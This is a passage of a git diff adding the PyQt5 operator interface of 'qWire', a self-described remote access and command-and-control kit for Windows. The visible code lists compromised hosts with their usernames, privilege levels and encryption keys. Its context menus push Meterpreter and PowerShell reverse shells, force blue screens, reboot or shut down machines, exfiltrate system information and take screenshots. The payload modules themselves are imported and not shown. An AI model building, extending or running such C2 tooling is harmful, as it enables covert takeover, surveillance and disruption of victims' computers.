31)) + self.update_dns_button.setObjectName("pushButton") + self.dns_token_input = QtWidgets.QLineEdit(dns_token_window) + self.dns_token_input.setGeometry(QtCore.QRect(10, 30, 381, 33)) + self.dns_token_input.setObjectName("dns_token_input") + + self.retranslateUi(dns_token_window) + QtCore.QMetaObject.connectSlotsByName(dns_token_window) + + def retranslateUi(self, dns_token_window): + _translate = QtCore.QCoreApplication.translate + dns_token_window.setWindowTitle(_translate("dns_token_window", "Duck DNS Token")) + self.update_dns_button.setText(_translate("dns_token_window", "Update Token")) + current_token = DNSconfigs().retrieve_dns_token() #Retrieve current dns token from file + self.dns_token_input.setText(_translate("dns_token_window", current_token)) #Add token to the token input widget + +if __name__ == "__main__": + import sys + app = QtWidgets.QApplication(sys.argv) + dns_token_window = QtWidgets.QDialog() + ui = Ui_dns_token_window() + ui.setupUi(dns_token_window) + dns_token_window.show() + sys.exit(app.exec_()) diff --git a/core/Qt5/ghost_wire_gui.py b/core/Qt5/ghost_wire_gui.py new file mode 100644 index 0000000..a35caa9 --- /dev/null +++ b/core/Qt5/ghost_wire_gui.py @@ -0,0 +1,449 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from PyQt5 import QtCore, QtGui, QtWidgets +from PyQt5.Qt import Qt +from PyQt5.QtWidgets import QWidget,QMenu +from PyQt5.QtCore import QEvent + +from ..logging.logging import LoggingUtilitys,NetworkingConfigs,ClientWindow +from ..Qt5.settings_window import Ui_settings_window +from ..Qt5.ListenerGUI import Ui_ListenerGUI +from ..Qt5.sysinfo_window import Ui_host_info_window +from ..Qt5.info_window import Ui_information_window +from ..Qt5.screenshot_window import Ui_screenshot_window +from ..Qt5.agent_builder_window import Ui_builder_dialog +from ..Qt5.icons import IconObj,ImageObj,PixmapObj +from ..utils.file_paths import BGPath +from ..utils.file_paths import DSFilePath +from ..networking.dns_handler import DomainHandler +from ..networking.socket import Utilitys + +from ..client_handling.shell import Meterpreter,PowerShell +from ..client_handling.networking import NetHandle +from ..client_handling.enumeration import SystemCommands +from ..client_handling.system import SystemManager +from ..client_handling.surveillance import Streaming + +from time import sleep +from os.path import exists + +console_output_array = [] +listening_ports_array = [] +active_connections_array = [] +listening_sockets_array = [] + + +#Thread for running background tasks. Qt does not run well with the pythons threading libs +class ProcessRunnable(QtCore.QRunnable): + def __init__(self, target, args): + QtCore.QRunnable.__init__(self) + self.t = target + self.args = args + + def run(self): + self.t() + + def start(self): + QtCore.QThreadPool.globalInstance().start(self) + +class Ui_main_window(QWidget): + + #Function will update console window with updates read from file + def check_for_console_updates(self): + with open(DSFilePath().console_output_file,'r') as console_output: + data = console_output.read() + for output in data.split('\n'): + if output in console_output_array or output == '': #If the output has already been posted or if its an empty string, dont print it + pass + else: + item = QtWidgets.QListWidgetItem(IconObj().sync_icon,output) #add icon to output & make object + item.background() + self.implant_callback_window.addItem(item) #add object to window + console_output_array.append(output) #Add item to array so we dont repeat it + self.implant_callback_window.scrollToBottom() #Scroll to newly appended item + console_output.close() + + #Function will update the active_connections_list with current connections only if there is a new connection. + def update_active_connections(self): + with open(DSFilePath().active_connections_file,'r') as file: #Open the file + active_conns = file.read() #Store the data in a variable + file.close() #Close the file + active_conns_list = active_conns.strip('\n').split('\n') #Strip all new lines from and split the connections into a list by new lines + if active_conns_list[0] == '': #If there's no connections, empty string will still count as 1 on len() call + number_of_conns = 0 #Set var to 0 + else: #else + number_of_conns = len(active_conns_list) #Get the number of connections by the info in the array + for item in active_connections_array: #For each connection in the active_connections_array + if item not in active_conns_list: #If the connection is not in the file written by the socket, + active_connections_array.remove(item) #Remove the connection from the global array + if number_of_conns == self.active_connections_list.rowCount(): #If the len of conns written by the socket is == the row count of the active connections widget + pass #Pass the rest. This will make the row number accessable to the mouse when clicked. + else: #If there is a new connection in the file written by the socket, run this code to update the ui + self.active_connections_list.setRowCount(0) # Set the row count to 0. This will clear all the items + if len(active_conns_list) >= 1 and active_conns_list[0] != '': #If there is 1 or more lines and the line is not an empty array + self.active_connections_list.setRowCount(number_of_conns) #Create rows = to the number of connections + for row in range(number_of_conns): #For each connection + if active_conns_list[row] not in active_connections_array: #If the conn written by the socket is not in the global array + active_connections_array.append(active_conns_list[row]) #Append the connection froms socket file to the global array + column_count = 0 #Set column counter to 0 + for item in active_conns_list[row].split(', '): #For each piece of info in the respective row + data_cell = QtWidgets.QTableWidgetItem() #Create item object + if column_count == 0: #If the item is the first item to be appended + try: + if active_conns_list[row].split(', ')[7] == "'Administrator'": #if the privilege level is admin + data_cell = QtWidgets.QTableWidgetItem( + IconObj().admin_icon,item.strip("'").strip("[']")) # Strip quote marks from data in table cells + else: # If the connection is not admin + data_cell = QtWidgets.QTableWidgetItem(item.strip("'").strip("[']")) #Create item without icon + except IndexError: #Avoid crash if there is nothing to index + pass + elif column_count != 0: #If its not the first column + data_cell = QtWidgets.QTableWidgetItem(item.strip("'").strip("[']")) #Create item without icon + data_cell.setTextAlignment(Qt.AlignCenter) # Align text in cell to center + data_cell.setFlags(Qt.ItemIsEnabled) # Make cell read-only otherwise it is editable + data_cell.setBackground(Qt.transparent) # Make cell background transparent + self.active_connections_list.setItem(row, column_count, data_cell) # add data to respective location + column_count += 1 #Add one to the column counter + + #Function will start thread to refresh ui + def start_refresh_ui_thread(self): + self.ui_refresh_thread = ProcessRunnable(target=self.refresh_ui,args=None) + self.ui_refresh_thread.start() + + #Function will refresh ui + def refresh_ui(self): + while True: + self.check_for_console_updates() #Check if there's new posts for the console window + sleep(.1) #sleep + self.update_active_connections() #Check if there's updates to the connections window + sleep(.1) #sleep + self.update_status_window() #Update the status window + + #Function is wrapper for functions that update things inside the status window + def update_status_window(self): + self.update_conn_label() #Update the connections label + self.update_current_interface() #Update the current network interface the server is using + self.update_data_txrx() #Update tx/rx label + self.update_listening_sockets() #Update listening sockets + + #Function will update the current connections label in the status window panel + def update_conn_label(self): + self.connections_label.setText(f"Connections: {self.active_connections_list.rowCount()}") + + #Function will update the current interface label to the current interface + def update_current_interface(self): + current_int = NetworkingConfigs().retrieve_network_interface() #Get the current network interface + self.interface_label.setText(f"Network Interface: {current_int}") #Change the text to the interface + + #Function will update data tx/rx label + def update_data_txrx(self): + current_data = LoggingUtilitys().retrieve_file_data(DSFilePath().bits_file) #Get the current data in bits file + if current_data == '': #If current_data is not int + current_data = 0 #Set data var to 0 + if int(current_data) < 1000: #If current data is less than 1000 bytes + self.data_label.setText(f"Data tx/rx: {current_data}\\B") #Write Bytes to label + elif int(current_data) >= 1000: #If current data is greater than or == to 1000 Bytes + current_data = int(current_data)/1000 #Divide bytes by 1000 + self.data_label.setText(f"Data tx/rx: {current_data}\\Kb") #Write Kilobits + + #Function will add listening sockets to the active sockets window + def update_listening_sockets(self): + listening_sockets = LoggingUtilitys().retrieve_file_data(DSFilePath().listening_sockets_file).split('\n') #Retrieve list of listening sockets and split into array by newline + for socket in listening_sockets: #For each socket in the array + if socket != '\n' and socket not in listening_sockets_array: #If the socket is not a new line and the socket is not in the already listening sockets array + item = QtWidgets.QListWidgetItem(socket) #init item with socket + item.setBackground(Qt.transparent) #Set the background to transparent + if socket != '': #If the item is not an empty string + self.listening_sockets_list.addItem(item) #Add the item to the listening sockets list + listening_sockets_array.append(socket) #Append the socket to the listening sockets array + + #Funtion will update domains to public ip + def update_dns_domains(self): + DomainHandler().update_dns_domain() #Update domain + + #Function will open new window with the ui object passed as a parameter + def open_new_window(self,UI): + self.window = QtWidgets.QDialog() + self.ui = UI() + self.ui.setupUi(self.window) + self.window.show() + + #Function creates context menu when client is right clicked in the list. Used to interact with client + def eventFilter(self,source,event): + #Internal function to get clients encryption key + def get_key_from_row(): + row = self.active_connections_list.currentRow() #Retrieve socket from array based on position in client sock array + key = self.active_connections_list.item(row,8).text() #Retrieve encryption key for communication to client + return key.encode() #Return key value + + #Internal function to get client socket object + def get_client_socket_obj(): + row = self.active_connections_list.currentRow() #Get the row number + client_sock_obj = Utilitys().retrieve_socket_from_array(row) #Retrieve the client socket object + return client_sock_obj #Return the client socket object + + #Funtion will remove client socket from array + def remove_client_socket(): + socket_index = self.active_connections_list.currentRow() #Get the client socket index by the row number + Utilitys().remove_socket_from_array(socket_index) #Remove the client socket object from the array with the row number + + if event.type() == QEvent.ContextMenu and source is self.active_connections_list and self.active_connections_list.currentRow() > -1: #If event is left click and the source is the active connections list + #And there is a connection in the row + context_menu = QMenu(self) #Create Menu Object + networking_menu = context_menu.addMenu('Networking') #Create networking submenu + networking_menu.setIcon(IconObj().net_icon) #Add Icon to networking menu + ping_client = networking_menu.addAction('Ping') #Add ping action to networking menu + ping_client.setIcon(IconObj().ping_icon) #Ping Icon + reconnect_action = networking_menu.addAction('Reconnect') #Add reconnect action + disconnect_action = networking_menu.addAction('Disconnect') #Add disconnect action + disconnect_action.setIcon(IconObj().disconnect_icon) #Add Icon + reconnect_action.setIcon(IconObj().reconnect_icon) #Add icon to reconnect action + shells_menu = context_menu.addMenu('Shells') #Create Shells Sub menu + shells_menu.setIcon(IconObj().shells_icon) #Create shells menu icon + meterpreter_menu = shells_menu.addMenu('Meterpreter') #Add meterpreter sub menu to shells sub menu + meterpreter_menu.setIcon(IconObj().msf_icon) #Add icon to meterpreter menu + python_meterpreter = meterpreter_menu.addAction('Python') #Add python meterpreter action to shells sub menu + python_meterpreter.setIcon(IconObj().python_icon) #Add python icon to python meterpreter + system_menu = shells_menu.addMenu('System') #Add system shells sub menu to sub menu + system_menu.setIcon(IconObj().system_icon) #Add icon to system shells menu + powershell_shell = system_menu.addAction('PowerShell') #Add powershell reverse shell to submenu + powershell_shell.setIcon(IconObj().ps_shell_icon) #Add icon to powershell shell option + sys_manager_menu = context_menu.addMenu('System') #Add system functions menu + sys_manager_menu.setIcon(IconObj().system_icon) #Add icon to system functions menu + blue_screen = sys_manager_menu.addAction('BSoD') #Add blue screen to sys functions menu + blue_screen.setIcon(IconObj().bsod_icon) #Icon + reboot_client = sys_manager_menu.addAction('Reboot') #Add reboot client function + reboot_client.setIcon(IconObj().reconnect_icon) #Reuse reconnect icon + shutdown_client = sys_manager_menu.addAction('Shutdown') #Shutdown client option + shutdown_client.setIcon(IconObj().shutdown_icon) #Icon + enumeration_menu = context_menu.addMenu('Enumeration') #Enumeration menu + enumeration_menu.setIcon(IconObj().magn_glass_icon) #Icon + system_info = enumeration_menu.addAction('System Info') #System Information exfiltration + system_info.setIcon(IconObj().system_icon) #Icon + surveillance_menu = context_menu.addMenu('Surveillance') #Add surveillance menu + surveillance_menu.setIcon(IconObj().surveillance_icon) #Icon + screenshot = surveillance_menu.addAction('Screenshot') #Screenshot action + screenshot.setIcon(IconObj().screenshot_icon) #Icon + + action = context_menu.exec_(self.mapToGlobal(event.globalPos())) #Define the click action bool for the menu + if action == python_meterpreter: #If python meterpreter is clicked + lport = NetworkingConfigs().retrieve_shell_lport() # Get the listening port + Meterpreter().exec_python_meterpreter_shell(lport, get_key_from_row(),get_client_socket_obj()) #Send the shell code to the agent + if action == powershell_shell: #If powershell shell is clicked + lport = NetworkingConfigs().retrieve_shell_lport() #Get the listening port + PowerShell().exec_reverse_shell(lport,get_key_from_row(),get_client_socket_obj()) #Send the shell code + if action == reconnect_action: #If the reconnect action is clicked + NetHandle().client_reconnect(get_key_from_row(),get_client_socket_obj()) #Tell the client to reconnect + ClientWindow().remove_active_connection(Utilitys().retrieve_client_info_array(), get_key_from_row().decode()) + remove_client_socket() + if action == ping_client: #If action is ping client + NetHandle().ping_client(get_key_from_row(),get_client_socket_obj()) #Ping the client and catch the reply + if action == blue_screen: + SystemManager().force_blue_screen(get_key_from_row(),get_client_socket_obj()) #Force agent to bluescreen computer + if action == reboot_client: + SystemManager().reboot_client_system(get_key_from_row(),get_client_socket_obj()) #Force agent to reboot computer + ClientWindow().remove_active_connection(Utilitys().retrieve_client_info_array(), + get_key_from_row().decode()) + remove_client_socket() + if action == shutdown_client: + SystemManager().shutdown_client_system(get_key_from_row(),get_client_socket_obj())#Force agent to shutdown the computer + if action == system_info: + SystemCommands().exfil_sys_and_ip_info(get_key_from_row(),get_client_socket_obj()) #Tell agent to run commands, open socket to receive output + while True: + if exists(DSFilePath().sys_info_file): #When the output is received, a file is made in data_storage. if the file exists + break #Break the loop + self.open_new_window(Ui_host_info_window) #Open window with the command output. Window will populate data from file. + if action == screenshot: + Streaming().get_client_screenshot(get_key_from_row(),get_client_socket_obj()) #Get screenshot + self.open_new_window(Ui_screenshot_window) #Open window with photo + if action == disconnect_action: #If action is to disconnect client + NetHandle().disconnect_client(get_key_from_row(),get_client_socket_obj()) #Disconnect the client + ClientWindow().remove_active_connection(Utilitys().retrieve_client_info_array(),get_key_from_row().decode()) #Remove the connection from the array + remove_client_socket() #Remove the socket + return True + return super().eventFilter(source, event) + + def setupUi(self, main_window): + main_window.setObjectName("main_window") + main_window.resize(1575, 784) #Change main window size + main_window.setWindowIcon(IconObj().main_window_icon) #Set main window icon + main_window.setStyleSheet(f"background-image: url({BGPath().main_window_bg});") + self.centralwidget = QtWidgets.QWidget(main_window) + self.centralwidget.setObjectName("centralwidget") + self.active_connections_list = QtWidgets.QTableWidget(self.centralwidget) + self.active_connections_list.setGeometry(QtCore.QRect(0, 0, 1575, 351)) + self.active_connections_list.setSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) + self.active_connections_list.setAutoFillBackground(True) + self.active_connections_list.setObjectName("active_connections_list") + self.active_connections_list.verticalHeader().setVisible(False) #Hide The row numbers from the connections list + self.active_connections_list.setColumnCount(9) + self.active_connections_list.setRowCount(0) + item = QtWidgets.QTableWidgetItem() + self.active_connections_list.setHorizontalHeaderItem(0, item) + item = QtWidgets.QTableWidgetItem() + self.active_connections_list.setHorizontalHeaderItem(1, item) + item = QtWidgets.QTableWidgetItem() + self.active_connections_list.setHorizontalHeaderItem(2, item) + item = QtWidgets.QTableWidgetItem() + self.active_connections_list.setHorizontalHeaderItem(3, item) + item = QtWidgets.QTableWidgetItem() + self.active_connections_list.setHorizontalHeaderItem(4, item) + item = QtWidgets.QTableWidgetItem() + self.active_connections_list.setHorizontalHeaderItem(5, item) + item = QtWidgets.QTableWidgetItem() + self.active_connections_list.setHorizontalHeaderItem(6, item) + item = QtWidgets.QTableWidgetItem() + self.active_connections_list.setHorizontalHeaderItem(7, item) + item = QtWidgets.QTableWidgetItem() + self.active_connections_list.setHorizontalHeaderItem(8, item) + for i in range(8): + self.active_connections_list.setColumnWidth(int(i), 174) + self.active_connections_list.setColumnWidth(8,181) + self.active_connections_list.installEventFilter(self) + self.implant_callback_window = QtWidgets.QListWidget(self.centralwidget) + self.implant_callback_window.setGeometry(QtCore.QRect(1030, 390, 551, 251)) + self.implant_callback_window.setStyleSheet("") + self.implant_callback_window.setObjectName("implant_callback_window") + self.builder_button = QtWidgets.QPushButton(self.centralwidget,clicked=lambda: self.open_new_window(Ui_builder_dialog)) + self.builder_button.setGeometry(QtCore.QRect(10, 620, 141, 31)) + self.builder_button.setObjectName('builder_button') + self.builder_button.setIcon(IconObj().builder_icon) + self.sync_button = QtWidgets.QPushButton(self.centralwidget, clicked=lambda: self.start_refresh_ui_thread()) + self.sync_button.setGeometry(QtCore.QRect(10, 620, 141, 31)) + self.sync_button.setObjectName("pushButton_2") + self.info_button = QtWidgets.QPushButton(self.centralwidget,clicked=lambda: self.open_new_window(Ui_information_window)) + self.info_button.setGeometry(QtCore.QRect(10, 650, 141, 31)) + self.info_button.setIcon(IconObj().info_icon) + self.info_button.setObjectName("info_button") + self.settings_button = QtWidgets.QPushButton(self.centralwidget, clicked=lambda: self.open_new_window(Ui_settings_window)) + self.settings_button.setGeometry(QtCore.QRect(10, 680, 141, 31)) + self.settings_button.setIcon(IconObj().settings_icon) + self.settings_button.setObjectName("settings_button") + self.update_dns_button = QtWidgets.QPushButton(self.centralwidget,clicked=lambda: self.update_dns_domains()) + self.update_dns_button.setGeometry(QtCore.QRect(10, 710, 141, 31)) + self.update_dns_button.setIcon(IconObj().duck_dns_icon) + self.update_dns_button.setIconSize(QtCore.QSize(18, 18)) + self.update_dns_button.setObjectName("update_dns_button") + self.create_listener_button = QtWidgets.QPushButton(self.centralwidget, clicked=lambda: self.open_new_window(Ui_ListenerGUI)) + self.create_listener_button.setGeometry(QtCore.QRect(10, 740, 141, 31)) + self.create_listener_button.setIcon(IconObj().satellite_icon) + self.create_listener_button.setIconSize(QtCore.QSize(18, 18)) + self.create_listener_button.setObjectName("create_listener_button") + self.status_window = QtWidgets.QLabel(self.centralwidget) + self.status_window.setGeometry(QtCore.QRect(20, 370, 731, 221)) + self.status_window.setStyleSheet(f"background-image: url({ImageObj().grey_box});") + self.status_window.setObjectName("status_window") + self.connections_label = QtWidgets.QLabel(self.centralwidget) + self.connections_label.setGeometry(QtCore.QRect(60, 500, 171, 19)) + self.connections_label.setStyleSheet(f"background-image: url({ImageObj().grey_box});") + self.connections_label.setObjectName("connections_label") + self.conns_label_icon = QtWidgets.QLabel(self.centralwidget) + self.conns_label_icon.setGeometry(QtCore.QRect(30, 500, 21, 20)) + self.conns_label_icon.setStyleSheet(f"background-image: url({ImageObj().grey_box});") + self.conns_label_icon.setText("") + self.conns_label_icon.setPixmap(PixmapObj().net_pixmap) + self.conns_label_icon.setScaledContents(True) + self.conns_label_icon.setObjectName("conns_label_icon") + self.data_label = QtWidgets.QLabel(self.centralwidget) + self.data_label.setGeometry(QtCore.QRect(60, 530, 181, 19)) + self.data_label.setStyleSheet(f"background-image: url({ImageObj().grey_box});") + self.data_label.setObjectName("data_label") + self.data_label_icon = QtWidgets.QLabel(self.centralwidget) + self.data_label_icon.setGeometry(QtCore.QRect(30, 530, 21, 20)) + self.data_label_icon.setStyleSheet(f"background-image: url({ImageObj().grey_box});") + self.data_label_icon.setText("") + self.data_label_icon.setPixmap(PixmapObj().socket_pixmap) + self.data_label_icon.setScaledContents(True) + self.data_label_icon.setObjectName("data_label_icon") + self.interface_label = QtWidgets.QLabel(self.centralwidget) + self.interface_label.setGeometry(QtCore.QRect(60, 560, 181, 19)) + self.interface_label.setStyleSheet(f"background-image: url({ImageObj().grey_box});") + self.interface_label.setObjectName("interface_label") + self.nic_label_icon = QtWidgets.QLabel(self.centralwidget) + self.nic_label_icon.setGeometry(QtCore.QRect(30, 560, 21, 20)) + self.nic_label_icon.setStyleSheet(f"background-image: url({ImageObj().grey_box});") + self.nic_label_icon.setPixmap(PixmapObj().nic_pixmap) + self.nic_label_icon.setScaledContents(True) + self.nic_label_icon.setObjectName("nic_label_icon") + self.active_sockets_label = QtWidgets.QLabel(self.centralwidget) + self.active_sockets_label.setGeometry(QtCore.QRect(255,480,150,20)) + self.active_sockets_label.setStyleSheet(f"background-image: url({ImageObj().grey_box});") + self.active_sockets_label.setText("Active Sockets") + self.active_sockets_label_icon =QtWidgets.QLabel(self.centralwidget) + self.active_sockets_label_icon.setGeometry(QtCore.QRect(230,480,20,20)) + self.active_sockets_label_icon.setStyleSheet(f"background-image: url({ImageObj().grey_box});") + self.active_sockets_label_icon.setPixmap(PixmapObj().listener_pixmap) + self.active_sockets_label_icon.setScaledContents(True) + self.listening_sockets_list = QtWidgets.QListWidget(self.centralwidget) + self.listening_sockets_list.setGeometry(QtCore.QRect(250, 510,101,70)) + self.gwa_ascii_label = QtWidgets.QLabel(self.centralwidget) + self.gwa_ascii_label.setGeometry(QtCore.QRect(20, 360, 370, 140)) + self.gwa_ascii_label.setStyleSheet(f"background-image: url({ImageObj().gwa_ascii_art});") + self.gwa_ascii_label.setObjectName("gwa_ascii_label") + self.ascii_globe_label = QtWidgets.QLabel(self.centralwidget) + self.ascii_globe_label.setGeometry(385, 380, 355, 201) + self.ascii_globe_label.setObjectName("ascii_globe_label") + self.ascii_globe_label.setScaledContents(True) + self.spinning_globe = QtGui.QMovie(ImageObj().spinning_globe_gif) + self.ascii_globe_label.setMovie(self.spinning_globe) + self.spinning_globe.start() + main_window.setCentralWidget(self.centralwidget) + self.retranslateUi(main_window) + + QtCore.QMetaObject.connectSlotsByName(main_window) + + + def retranslateUi(self, main_window): + _translate = QtCore.QCoreApplication.translate + main_window.setWindowTitle(_translate("main_window", "qWire CnC")) + item = self.active_connections_list.horizontalHeaderItem(0) + item.setText(_translate("main_window", "Public IP:Port")) + item = self.active_connections_list.horizontalHeaderItem(1) + item.setText(_translate("main_window", "Local IP")) + item = self.active_connections_list.horizontalHeaderItem(2) + item.setText(_translate("main_window", "Location")) + item = self.active_connections_list.horizontalHeaderItem(3) + item.setText(_translate("main_window", "System Name")) + item = self.active_connections_list.horizontalHeaderItem(4) + item.setText(_translate("main_window", "Operating System")) + item = self.active_connections_list.horizontalHeaderItem(5) + item.setText(_translate("main_window", "OS Version")) + item = self.active_connections_list.horizontalHeaderItem(6) + item.setText(_translate("main_window", "Username")) + item = self.active_connections_list.horizontalHeaderItem(7) + item.setText(_translate("main_window", "Privelege")) + item = self.active_connections_list.horizontalHeaderItem(8) + item.setText(_translate("main_window", "Encryption Key")) + self.builder_button.setText(_translate("main_window","Builder")) + self.sync_button.setText(_translate("main_window", "Sync")) + self.info_button.setText(_translate("main_window", "Info")) + self.settings_button.setText(_translate("main_window", "Settings")) + self.update_dns_button.setText(_translate("main_window", "Update DNS")) + self.create_listener_button.setText(_translate("main_window", "Listeners")) + self.connections_label.setText(_translate("main_window", "Connections: 0")) + self.data_label.setText(_translate("main_window", "Data tx/rx: 0\\b")) + self.interface_label.setText(_translate("main_window", "Network Interface: ")) + self.active_sockets_label.setText(_translate("main_window", "Active Sockets")) + self.sync_button.click() #Automatically start ui refresh thread at program launch + self.sync_button.hide() #Hide the sync button + +if __name__ == "__main__": + import sys + app = QtWidgets.QApplication(sys.argv) + main_window = QtWidgets.QMainWindow() + ui = Ui_main_window() + ui.setupUi(main_window) + main_window.show() + sys.exit(app.exec_()) \ No newline at end of file diff --git a/core/Qt5/icons.py b/core/Qt5/icons.py new file mode 100644 index 0000000..816121b --- /dev/null +++ b/core/Qt5/icons.py @@ -0,0 +1,62 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from ..logging.logging import LoggingUtilitys +from PyQt5.QtGui import QIcon,QPixmap + +#Create icon object with icons +class IconObj: + + def __init__(self): + self.port_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('/core/Qt5/img/socket_icon.png')) + self.system_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/computer_icon.png')) + self.msf_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/msf_icon.png')) + self.python_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/python_icon.png')) + self.shells_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/shells_icon.png')) + self.ps_shell_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/powershell_icon.png')) + self.reconnect_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/reconnect_icon.png')) + self.ping_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/ping_icon.png')) + self.net_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/networking_icon.png')) + self.bsod_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/bsod_icon.png')) + self.shutdown_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/shutdown_icon.png')) + self.magn_glass_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/magn_glass_icon.png')) + self.screenshot_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/screenshot_icon.png')) + self.surveillance_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/surveillance_icon.png')) + self.disconnect_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/disconnect_icon.png')) + self.builder_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/hammer_icon.png')) + self.main_window_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/main_window_icon.png')) + self.info_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('/core/Qt5/img/info_icon.png')) + self.settings_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('/core/Qt5/img/settings_icon.png')) + self.duck_dns_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('/core/Qt5/img/duck_dns_icon.png')) + self.satellite_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('/core/Qt5/img/satellite_icon.png')) + self.sat_win_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('/core/Qt5/img/satellite_win_icon.png')) + self.sync_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('/core/Qt5/img/sync_icon.png')) + self.admin_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('/core/Qt5/img/admin_icon.png')) + +#Create image object with image file paths. This should be moved to utils/file_paths +class ImageObj: + + def __init__(self): + self.sysinfo_win_bg_path = LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/sysinfo_win_bg.jpg') + self.grey_box = LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/grey_box.jpg') + self.gwa_ascii_art = LoggingUtilitys().get_misc_file_path_str('/core/Qt5/img/qWire_logo.png') + self.spinning_globe_gif = LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/spinning_globe.gif') #Gif file + +#Create pixmap object +class PixmapObj: + def __init__(self): + self.net_pixmap = QPixmap(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/networking_icon.png')) + self.socket_pixmap = QPixmap(LoggingUtilitys().get_misc_file_path_str('/core/Qt5/img/socket_icon.png')) + self.nic_pixmap = QPixmap(LoggingUtilitys().get_misc_file_path_str('/core/Qt5/img/nic_icon.png')) + self.listener_pixmap = QPixmap(LoggingUtilitys().get_misc_file_path_str('/core/Qt5/img/satellite_icon.png')) \ No newline at end of file diff --git a/core/Qt5/img/Listener.jpeg b/core/Qt5/img/Listener.jpeg new file mode 100644 index 0000000..e438e57 Binary files /dev/null and b/core/Qt5/img/Listener.jpeg differ diff --git a/core/Qt5/img/admin_icon.png b/core/Qt5/img/admin_icon.png new file mode 100644 index 0000000..9857921 Binary files /dev/null and b/core/Qt5/img/admin_icon.png differ diff --git a/core/Qt5/img/blackbox.jpeg b/core/Qt5/img/blackbox.jpeg new file mode 100644 index 0000000..e269e7d Binary files /dev/null and b/core/Qt5/img/blackbox.jpeg differ diff --git a/core/Qt5/img/bsod_icon.png b/core/Qt5/img/bsod_icon.png new file mode 100644 index 0000000..e1980f1 Binary files /dev/null and b/core/Qt5/img/bsod_icon.png differ diff --git a/core/Qt5/img/check_mark.png b/core/Qt5/img/check_mark.png new file mode 100644 index 0000000..69879fc Binary files /dev/null and b/core/Qt5/img/check_mark.png differ diff --git a/core/Qt5/img/computer_icon.png b/core/Qt5/img/computer_icon.png new file mode 100644 index 0000000..f6dd487 Binary files /dev/null and b/core/Qt5/img/computer_icon.png differ diff --git a/core/Qt5/img/disconnect_icon.png b/core/Qt5/img/disconnect_icon.png new file mode 100644 index 0000000..51585f4 Binary files /dev/null and b/core/Qt5/img/disconnect_icon.png differ diff --git a/core/Qt5/img/duck_dns_icon.png b/core/Qt5/img/duck_dns_icon.png new file mode 100644 index 0000000..331d872 Binary files /dev/null and b/core/Qt5/img/duck_dns_icon.png differ diff --git a/core/Qt5/img/grey_box.jpg b/core/Qt5/img/grey_box.jpg new file mode 100644 index 0000000..50df678 Binary files /dev/null and b/core/Qt5/img/grey_box.jpg differ diff --git a/core/Qt5/img/hammer_icon.png b/core/Qt5/img/hammer_icon.png new file mode 100644 index 0000000..c9d771b Binary files /dev/null and b/core/Qt5/img/hammer_icon.png differ diff --git a/core/Qt5/img/info_icon.png b/core/Qt5/img/info_icon.png new file mode 100644 index 0000000..a45fb1f Binary files /dev/null and b/core/Qt5/img/info_icon.png differ diff --git a/core/Qt5/img/magn_glass_icon.png b/core/Qt5/img/magn_glass_icon.png new file mode 100644 index 0000000..6c56a5a Binary files /dev/null and b/core/Qt5/img/magn_glass_icon.png differ diff --git a/core/Qt5/img/main_tab_background.jpg b/core/Qt5/img/main_tab_background.jpg new file mode 100644 index 0000000..572a855 Binary files /dev/null and b/core/Qt5/img/main_tab_background.jpg differ diff --git a/core/Qt5/img/main_tab_background.qrc b/core/Qt5/img/main_tab_background.qrc new file mode 100644 index 0000000..1e47116 --- /dev/null +++ b/core/Qt5/img/main_tab_background.qrc @@ -0,0 +1,17 @@ + + + qWire_info.png + sysinfo_win_bg.jpg + grey_box.jpg + shell_background.png + settings_background.png + sync_icon.png + ghost_wire_ascii.png + info_icon.png + blackbox.jpeg + settings_icon.png + duck_dns_icon.png + main_tab_background.jpg + satellite_icon.png + + diff --git a/core/Qt5/img/main_window_icon.png b/core/Qt5/img/main_window_icon.png new file mode 100644 index 0000000..ecbfa0b Binary files 